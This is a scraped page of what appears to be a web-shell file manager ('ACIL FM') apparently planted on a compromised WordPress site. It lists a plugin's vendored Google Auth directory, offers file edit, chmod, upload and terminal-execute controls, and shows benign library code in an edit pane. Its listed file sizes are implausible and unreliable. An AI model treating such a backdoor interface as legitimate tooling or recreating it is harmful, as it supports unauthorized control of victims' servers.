ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/www/site/wp-content/plugins/wp-mail-smtp/vendor_prefixed/google/auth/src
/
home
mhhtmff
www
site
wp-content
plugins
wp-mail-smtp
vendor_prefixed
google
auth
src
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Cache
-
chmod
Open
Rename
Delete
Credentials
-
chmod
Open
Rename
Delete
HttpHandler
-
chmod
Open
Rename
Delete
Middleware
-
chmod
Open
Rename
Delete
AccessToken.php
18.71 MB
chmod
View
DL
Edit
Rename
Delete
ApplicationDefaultCredentials.php
14.32 MB
chmod
View
DL
Edit
Rename
Delete
CacheTrait.php
2.58 MB
chmod
View
DL
Edit
Rename
Delete
CredentialsLoader.php
9.85 MB
chmod
View
DL
Edit
Rename
Delete
FetchAuthTokenCache.php
8.71 MB
chmod
View
DL
Edit
Rename
Delete
FetchAuthTokenInterface.php
1.64 MB
chmod
View
DL
Edit
Rename
Delete
GCECache.php
2.42 MB
chmod
View
DL
Edit
Rename
Delete
GetQuotaProjectInterface.php
964 B
chmod
View
DL
Edit
Rename
Delete
Iam.php
3.19 MB
chmod
View
DL
Edit
Rename
Delete
IamSignerTrait.php
2.35 MB
chmod
View
DL
Edit
Rename
Delete
OAuth2.php
39.99 MB
chmod
View
DL
Edit
Rename
Delete
ProjectIdProviderInterface.php
980 B
chmod
View
DL
Edit
Rename
Delete
ServiceAccountSignerTrait.php
1.92 MB
chmod
View
DL
Edit
Rename
Delete
SignBlobInterface.php
1.54 MB
chmod
View
DL
Edit
Rename
Delete
UpdateMetadataInterface.php
1.2 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/www/site/wp-content/plugins/wp-mail-smtp/vendor_prefixed/google/auth/src/GCECache.php
<?php /* * Copyright 2020 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace WPMailSMTP\Vendor\Google\Auth; use WPMailSMTP\Vendor\Google\Auth\Credentials\GCECredentials; use WPMailSMTP\Vendor\Psr\Cache\CacheItemPoolInterface; /** * A class to implement caching for calls to GCECredentials::onGce. This class * is used automatically when you pass a `Psr\Cache\CacheItemPoolInterface` * cache object to `ApplicationDefaultCredentials::getCredentials`. * * ``` * $sysvCache = new Google\Auth\SysvCacheItemPool(); * $creds = Google\Auth\ApplicationDefaultCredentials::getCredentials( * $scope, * null, * null, * $sysvCache * ); * ``` */ class GCECache { const GCE_CACHE_KEY = 'google_auth_on_gce_cache'; use CacheTrait; /** * @param array<mixed> $cacheConfig Configuration for the cache * @param CacheItemPoolInterface $cache */ public function __construct(array $cacheConfig = null, \WPMailSMTP\Vendor\Psr\Cache\CacheItemPoolInterface $cache = null) { $this->cache = $cache; $this->cacheConfig = \array_merge(['lifetime' => 1500, 'prefix' => ''], (array) $cacheConfig); } /** * Caches the result of onGce so the metadata server is not called multiple * times. * * @param callable $httpHandler callback which delivers psr7 request * @return bool True if this a GCEInstance, false otherwise */ public function onGce(callable $httpHandler = null) { if (\is_null($this->cache)) { return \WPMailSMTP\Vendor\Google\Auth\Credentials\GCECredentials::onGce($httpHandler); } $cacheKey = self::GCE_CACHE_KEY; $onGce = $this->getCachedValue($cacheKey); if (\is_null($onGce)) { $onGce = \WPMailSMTP\Vendor\Google\Auth\Credentials\GCECredentials::onGce($httpHandler); $this->setCachedValue($cacheKey, $onGce); } return $onGce; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply